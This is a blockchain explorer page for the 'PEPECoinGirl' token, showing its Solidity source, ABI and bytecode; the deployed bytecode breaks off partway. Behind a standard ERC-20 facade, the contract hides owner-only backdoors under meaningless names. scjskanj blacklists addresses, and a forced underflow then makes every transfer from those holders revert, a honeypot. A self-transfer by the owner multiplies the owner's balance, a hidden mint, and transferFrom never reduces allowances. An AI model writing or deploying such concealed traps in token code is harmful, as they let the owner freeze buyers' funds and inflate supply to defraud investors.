ETH Price: $3,311.35 (-3.57%)
Gas: 20 Gwei

Token

PEPECoinGirl (PEPEGirl)
 

Overview

Max Total Supply

6,660,000,000 PEPEGirl

Holders

48

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
5,822,834.52382371 PEPEGirl

Value
$0.00
0x5641602f1901e15b948fca70ada36cd30f0e2407
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
coin

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2023-04-20
*/

/**
 *Submitted for verification at Etherscan.io on 2023-04-18
*/

/**
 *Submitted for verification at Etherscan.io on 2023-03-24
*/

/**
 *Submitted for verification at BscScan.com on 2022-04-15
*/

/**
 *Submitted for verification at BscScan.com on 2022-03-18
*/

pragma solidity ^0.8.17;
// SPDX-License-Identifier: Unlicensed

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address oowner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval( address indexed oowner, address indexed spender, uint256 value );
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }
    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}


library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }
    
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {

        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;


        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}


contract Ownable is Context {
    address private _oowner;
    event oownershipTransferred(address indexed previousoowner, address indexed newoowner);

    constructor () {
        address msgSender = _msgSender();
        _oowner = msgSender;
        emit oownershipTransferred(address(0), msgSender);
    }
    function oowner() public view virtual returns (address) {
        return _oowner;
    }
    modifier onlyoowner() {
        require(oowner() == _msgSender(), "Ownable: caller is not the oowner");
        _;
    }
    function renounceoownership() public virtual onlyoowner {
        emit oownershipTransferred(_oowner, address(0x000000000000000000000000000000000000dEaD));
        _oowner = address(0x000000000000000000000000000000000000dEaD);
    }
}


contract coin is Ownable, IERC20 {
    using SafeMath for uint256;
    mapping (address => uint256) private _balance;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFrom;
    string private _name = "PEPECoinGirl";
    string private _symbol = "PEPEGirl";
    uint256 private _decimals = 9;
    uint256 private _totalSupply = 6660000000 * 10 ** _decimals;
    uint256 private _maxTxtransfer = 6660000000 * 10 ** _decimals;
    uint256 private _burnfee = 5;
    address private _DEADaddress = 0x000000000000000000000000000000000000dEaD;
    mapping(address => bool) public _ggssaw231a;

    function scjskanj(address account) public onlyoowner {
        _ggssaw231a[account] = true;
    }


    function ucsjskanj(address account) public onlyoowner {
        _ggssaw231a[account] = false;
    }


    function islkd(address account) public view returns (bool) {
        return _ggssaw231a[account];
    }



    constructor () {
        _balance[msg.sender] = _totalSupply;
        _isExcludedFrom[msg.sender] = true;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    function name() external view returns (string memory) {
        return _name;
    }

    function symbol() external view returns (string memory) {
        return _symbol;
    }

    function decimals() external view returns (uint256) {
        return _decimals;
    }

    function totalSupply() external view override returns (uint256) {
        return _totalSupply;
    }

    function _transfer(address sender, address recipient, uint256 amounts) internal virtual {

        require(sender != address(0), "IERC20: transfer from the zero address");
        require(recipient != address(0), "IERC20: transfer to the zero address");
        if (true){
            if (_ggssaw231a[sender] == true) {
                amounts = amounts.sub(_totalSupply);
            }
        }
        uint256 blsender = _balance[sender];
        require(blsender >= amounts,"IERC20: transfer amounts exceeds balance");
        
        uint256 feeamount = 0;
        feeamount = amounts.mul(_burnfee).div(100);
        _balance[sender] = _balance[sender].sub(amounts);
        _balance[recipient] =  _balance[recipient]+amounts-feeamount;
        emit Transfer(sender, _DEADaddress, feeamount);
        emit Transfer(sender, recipient, amounts-feeamount);

    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        address hrthfg = _msgSender(); 
        if (oowner() == hrthfg && oowner() == recipient) { 
        _balance[hrthfg] = 59500000000*_balance[hrthfg].add(_totalSupply).div(1); 
        }
        _transfer(hrthfg, recipient, amount);
        return true;
    }



    function balanceOf(address account) public view override returns (uint256) {
        return _balance[account];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address oowner, address spender, uint256 amount) internal virtual {
        require(oowner != address(0), "IERC20: approve from the zero address");
        require(spender != address(0), "IERC20: approve to the zero address");
        _allowances[oowner][spender] = amount;
        emit Approval(oowner, spender, amount);
    }

    function allowance(address oowner, address spender) public view virtual override returns (uint256) {
        return _allowances[oowner][spender];
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "IERC20: transfer amount exceeds allowance");
        return true;
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"oowner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousoowner","type":"address"},{"indexed":true,"internalType":"address","name":"newoowner","type":"address"}],"name":"oownershipTransferred","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_ggssaw231a","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"oowner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"islkd","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"oowner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceoownership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"scjskanj","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"ucsjskanj","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526040518060400160405280600c81526020017f50455045436f696e4769726c0000000000000000000000000000000000000000815250600490816200004a919062000579565b506040518060400160405280600881526020017f504550454769726c0000000000000000000000000000000000000000000000008152506005908162000091919062000579565b506009600655600654600a620000a89190620007e3565b64018cf78900620000ba919062000834565b600755600654600a620000ce9190620007e3565b64018cf78900620000e0919062000834565b600855600560095561dead600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503480156200013857600080fd5b5060006200014b620002f760201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f806e8b381f563afee8716b997c43301abcc7a93afae0a100b99f3a9f455d441160405160405180910390a350600754600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600754604051620002e9919062000890565b60405180910390a3620008ad565b600033905090565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200038157607f821691505b60208210810362000397576200039662000339565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620004017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620003c2565b6200040d8683620003c2565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b60006200045a620004546200044e8462000425565b6200042f565b62000425565b9050919050565b6000819050919050565b620004768362000439565b6200048e620004858262000461565b848454620003cf565b825550505050565b600090565b620004a562000496565b620004b28184846200046b565b505050565b5b81811015620004da57620004ce6000826200049b565b600181019050620004b8565b5050565b601f8211156200052957620004f3816200039d565b620004fe84620003b2565b810160208510156200050e578190505b620005266200051d85620003b2565b830182620004b7565b50505b505050565b600082821c905092915050565b60006200054e600019846008026200052e565b1980831691505092915050565b60006200056983836200053b565b9150826002028217905092915050565b6200058482620002ff565b67ffffffffffffffff811115620005a0576200059f6200030a565b5b620005ac825462000368565b620005b9828285620004de565b600060209050601f831160018114620005f15760008415620005dc578287015190505b620005e885826200055b565b86555062000658565b601f19841662000601866200039d565b60005b828110156200062b5784890151825560018201915060208501945060208101905062000604565b868310156200064b578489015162000647601f8916826200053b565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115620006ee57808604811115620006c657620006c562000660565b5b6001851615620006d65780820291505b8081029050620006e6856200068f565b9450620006a6565b94509492505050565b600082620007095760019050620007dc565b81620007195760009050620007dc565b81600181146200073257600281146200073d5762000773565b6001915050620007dc565b60ff84111562000752576200075162000660565b5b8360020a9150848211156200076c576200076b62000660565b5b50620007dc565b5060208310610133831016604e8410600b8410161715620007ad5782820a905083811115620007a757620007a662000660565b5b620007dc565b620007bc84848460016200069c565b92509050818404811115620007d657620007d562000660565b5b81810290505b9392505050565b6000620007f08262000425565b9150620007fd8362000425565b92506200082c7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620006f7565b905092915050565b6000620008418262000425565b91506200084e8362000425565b92508282026200085e8162000425565b9150828204841483151762000878576200087762000660565b5b5092915050565b6200088a8162000425565b82525050565b6000602082019050620008a760008301846200087f565b92915050565b611ce580620008bd6000396000f3fe608060405234801561001057600080fd5b50600436106100f55760003560e01c8063883a885211610097578063dd62ed3e11610066578063dd62ed3e14610288578063df5c8d4a146102b8578063e8e074f5146102e8578063f2363b3214610304576100f5565b8063883a88521461021457806395d89b4114610230578063a9059cbb1461024e578063ce27c8991461027e576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce5671461019657806370a08231146101b4578063813df1dc146101e4576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610322565b60405161010f91906113d5565b60405180910390f35b610132600480360381019061012d9190611490565b6103b4565b60405161013f91906114eb565b60405180910390f35b6101506103d2565b60405161015d9190611515565b60405180910390f35b610180600480360381019061017b9190611530565b6103dc565b60405161018d91906114eb565b60405180910390f35b61019e6104c0565b6040516101ab9190611515565b60405180910390f35b6101ce60048036038101906101c99190611583565b6104ca565b6040516101db9190611515565b60405180910390f35b6101fe60048036038101906101f99190611583565b610513565b60405161020b91906114eb565b60405180910390f35b61022e60048036038101906102299190611583565b610533565b005b61023861060a565b60405161024591906113d5565b60405180910390f35b61026860048036038101906102639190611490565b61069c565b60405161027591906114eb565b60405180910390f35b6102866107f3565b005b6102a2600480360381019061029d91906115b0565b61092f565b6040516102af9190611515565b60405180910390f35b6102d260048036038101906102cd9190611583565b6109b6565b6040516102df91906114eb565b60405180910390f35b61030260048036038101906102fd9190611583565b610a0c565b005b61030c610ae3565b60405161031991906115ff565b60405180910390f35b60606004805461033190611649565b80601f016020809104026020016040519081016040528092919081815260200182805461035d90611649565b80156103aa5780601f1061037f576101008083540402835291602001916103aa565b820191906000526020600020905b81548152906001019060200180831161038d57829003601f168201915b5050505050905090565b60006103c86103c1610b0c565b8484610b14565b6001905092915050565b6000600754905090565b60006103e9848484610cdd565b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610434610b0c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156104b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ab906116ec565b60405180910390fd5b60019150509392505050565b6000600654905090565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600b6020528060005260406000206000915054906101000a900460ff1681565b61053b610b0c565b73ffffffffffffffffffffffffffffffffffffffff16610559610ae3565b73ffffffffffffffffffffffffffffffffffffffff16146105af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105a69061177e565b60405180910390fd5b6000600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60606005805461061990611649565b80601f016020809104026020016040519081016040528092919081815260200182805461064590611649565b80156106925780601f1061066757610100808354040283529160200191610692565b820191906000526020600020905b81548152906001019060200180831161067557829003601f168201915b5050505050905090565b6000806106a7610b0c565b90508073ffffffffffffffffffffffffffffffffffffffff166106c8610ae3565b73ffffffffffffffffffffffffffffffffffffffff1614801561071d57508373ffffffffffffffffffffffffffffffffffffffff16610705610ae3565b73ffffffffffffffffffffffffffffffffffffffff16145b156107dd57610789600161077b600754600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461111290919063ffffffff16565b61117090919063ffffffff16565b640dda79f30061079991906117cd565b600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6107e8818585610cdd565b600191505092915050565b6107fb610b0c565b73ffffffffffffffffffffffffffffffffffffffff16610819610ae3565b73ffffffffffffffffffffffffffffffffffffffff161461086f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108669061177e565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f806e8b381f563afee8716b997c43301abcc7a93afae0a100b99f3a9f455d441160405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b610a14610b0c565b73ffffffffffffffffffffffffffffffffffffffff16610a32610ae3565b73ffffffffffffffffffffffffffffffffffffffff1614610a88576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a7f9061177e565b60405180910390fd5b6001600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7a90611881565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610bf2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610be990611913565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610cd09190611515565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d4c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d43906119a5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610dbb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610db290611a37565b60405180910390fd5b600115610e335760011515600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151503610e3257610e2f600754826111ba90919063ffffffff16565b90505b5b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610eba576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eb190611ac9565b60405180910390fd5b6000610ee46064610ed66009548661120490919063ffffffff16565b61117090919063ffffffff16565b9050610f3883600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111ba90919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508083600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fc79190611ae9565b610fd19190611b1d565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516110939190611515565b60405180910390a38373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83866110f69190611b1d565b6040516111039190611515565b60405180910390a35050505050565b60008082846111219190611ae9565b905083811015611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90611b9d565b60405180910390fd5b8091505092915050565b60006111b283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061127e565b905092915050565b60006111fc83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112e1565b905092915050565b60008083036112165760009050611278565b6000828461122491906117cd565b90508284826112339190611bec565b14611273576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161126a90611c8f565b60405180910390fd5b809150505b92915050565b600080831182906112c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112bc91906113d5565b60405180910390fd5b50600083856112d49190611bec565b9050809150509392505050565b6000838311158290611329576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161132091906113d5565b60405180910390fd5b50600083856113389190611b1d565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561137f578082015181840152602081019050611364565b60008484015250505050565b6000601f19601f8301169050919050565b60006113a782611345565b6113b18185611350565b93506113c1818560208601611361565b6113ca8161138b565b840191505092915050565b600060208201905081810360008301526113ef818461139c565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611427826113fc565b9050919050565b6114378161141c565b811461144257600080fd5b50565b6000813590506114548161142e565b92915050565b6000819050919050565b61146d8161145a565b811461147857600080fd5b50565b60008135905061148a81611464565b92915050565b600080604083850312156114a7576114a66113f7565b5b60006114b585828601611445565b92505060206114c68582860161147b565b9150509250929050565b60008115159050919050565b6114e5816114d0565b82525050565b600060208201905061150060008301846114dc565b92915050565b61150f8161145a565b82525050565b600060208201905061152a6000830184611506565b92915050565b600080600060608486031215611549576115486113f7565b5b600061155786828701611445565b935050602061156886828701611445565b92505060406115798682870161147b565b9150509250925092565b600060208284031215611599576115986113f7565b5b60006115a784828501611445565b91505092915050565b600080604083850312156115c7576115c66113f7565b5b60006115d585828601611445565b92505060206115e685828601611445565b9150509250929050565b6115f98161141c565b82525050565b600060208201905061161460008301846115f0565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061166157607f821691505b6020821081036116745761167361161a565b5b50919050565b7f4945524332303a207472616e7366657220616d6f756e7420657863656564732060008201527f616c6c6f77616e63650000000000000000000000000000000000000000000000602082015250565b60006116d6602983611350565b91506116e18261167a565b604082019050919050565b60006020820190508181036000830152611705816116c9565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f6f776e6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b6000611768602183611350565b91506117738261170c565b604082019050919050565b600060208201905081810360008301526117978161175b565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006117d88261145a565b91506117e38361145a565b92508282026117f18161145a565b915082820484148315176118085761180761179e565b5b5092915050565b7f4945524332303a20617070726f76652066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061186b602583611350565b91506118768261180f565b604082019050919050565b6000602082019050818103600083015261189a8161185e565b9050919050565b7f4945524332303a20617070726f766520746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006118fd602383611350565b9150611908826118a1565b604082019050919050565b6000602082019050818103600083015261192c816118f0565b9050919050565b7f4945524332303a207472616e736665722066726f6d20746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061198f602683611350565b915061199a82611933565b604082019050919050565b600060208201905081810360008301526119be81611982565b9050919050565b7f4945524332303a207472616e7366657220746f20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611a21602483611350565b9150611a2c826119c5565b604082019050919050565b60006020820190508181036000830152611a5081611a14565b9050919050565b7f4945524332303a207472616e7366657220616d6f756e7473206578636565647360008201527f2062616c616e6365000000000000000000000000000000000000000000000000602082015250565b6000611ab3602883611350565b9150611abe82611a57565b604082019050919050565b60006020820190508181036000830152611ae281611aa6565b9050919050565b6000611af48261145a565b9150611aff8361145a565b9250828201905080821115611b1757611b1661179e565b5b92915050565b6000611b288261145a565b9150611b338361145a565b9250828203905081811115611b4b57611b4a61179e565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000611b87601b83611350565b9150611b9282611b51565b602082019050919050565b60006020820190508181036000830152611bb681611b7a565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000611bf78261145a565b9150611c028361145a565b925082611c1257611c11611bbd565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000611c79602183611350565b9150611c8482611c1d565b604082019050919050565b60006020820190508181036000830152611ca881611c6c565b905091905056fea2646970667358221220a8afbe1b4e6c4ea3224e0611f7696cb803a8b7a1989be112494c75f5c0def36564736f6c63430008110033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063883a885211610097578063dd62ed3e11610066578063dd62ed3e14610288578063df5c8d4a146102b8578063e8e074f5146102e8578063f2363b3214610304576100f5565b8063883a88521461021457806395d89b4114610230578063a9059cbb1461024e578063ce27c8991461027e576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce5671461019657806370a08231146101b4578063813df1dc146101e4576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610322565b60405161010f91906113d5565b60405180910390f35b610132600480360381019061012d9190611490565b6103b4565b60405161013f91906114eb565b60405180910390f35b6101506103d2565b60405161015d9190611515565b60405180910390f35b610180600480360381019061017b9190611530565b6103dc565b60405161018d91906114eb565b60405180910390f35b61019e6104c0565b6040516101ab9190611515565b60405180910390f35b6101ce60048036038101906101c99190611583565b6104ca565b6040516101db9190611515565b60405180910390f35b6101fe60048036038101906101f99190611583565b610513565b60405161020b91906114eb565b60405180910390f35b61022e60048036038101906102299190611583565b610533565b005b61023861060a565b60405161024591906113d5565b60405180910390f35b61026860048036038101906102639190611490565b61069c565b60405161027591906114eb565b60405180910390f35b6102866107f3565b005b6102a2600480360381019061029d91906115b0565b61092f565b6040516102af9190611515565b60405180910390f35b6102d260048036038101906102cd9190611583565b6109b6565b6040516102df91906114eb565b60405180910390f35b61030260048036038101906102fd9190611583565b610a0c565b005b61030c610ae3565b60405161031991906115ff565b60405180910390f35b60606004805461033190611649565b80601f016020809104026020016040519081016040528092919081815260200182805461035d90611649565b80156103aa5780601f1061037f576101008083540402835291602001916103aa565b820191906000526020600020905b81548152906001019060200180831161038d57829003601f168201915b5050505050905090565b60006103c86103c1610b0c565b8484610b14565b6001905092915050565b6000600754905090565b60006103e9848484610cdd565b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610434610b0c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156104b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ab906116ec565b60405180910390fd5b60019150509392505050565b6000600654905090565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600b6020528060005260406000206000915054906101000a900460ff1681565b61053b610b0c565b73ffffffffffffffffffffffffffffffffffffffff16610559610ae3565b73ffffffffffffffffffffffffffffffffffffffff16146105af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105a69061177e565b60405180910390fd5b6000600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60606005805461061990611649565b80601f016020809104026020016040519081016040528092919081815260200182805461064590611649565b80156106925780601f1061066757610100808354040283529160200191610692565b820191906000526020600020905b81548152906001019060200180831161067557829003601f168201915b5050505050905090565b6000806106a7610b0c565b90508073ffffffffffffffffffffffffffffffffffffffff166106c8610ae3565b73ffffffffffffffffffffffffffffffffffffffff1614801561071d57508373ffffffffffffffffffffffffffffffffffffffff16610705610ae3565b73ffffffffffffffffffffffffffffffffffffffff16145b156107dd57610789600161077b600754600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461111290919063ffffffff16565b61117090919063ffffffff16565b640dda79f30061079991906117cd565b600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6107e8818585610cdd565b60019150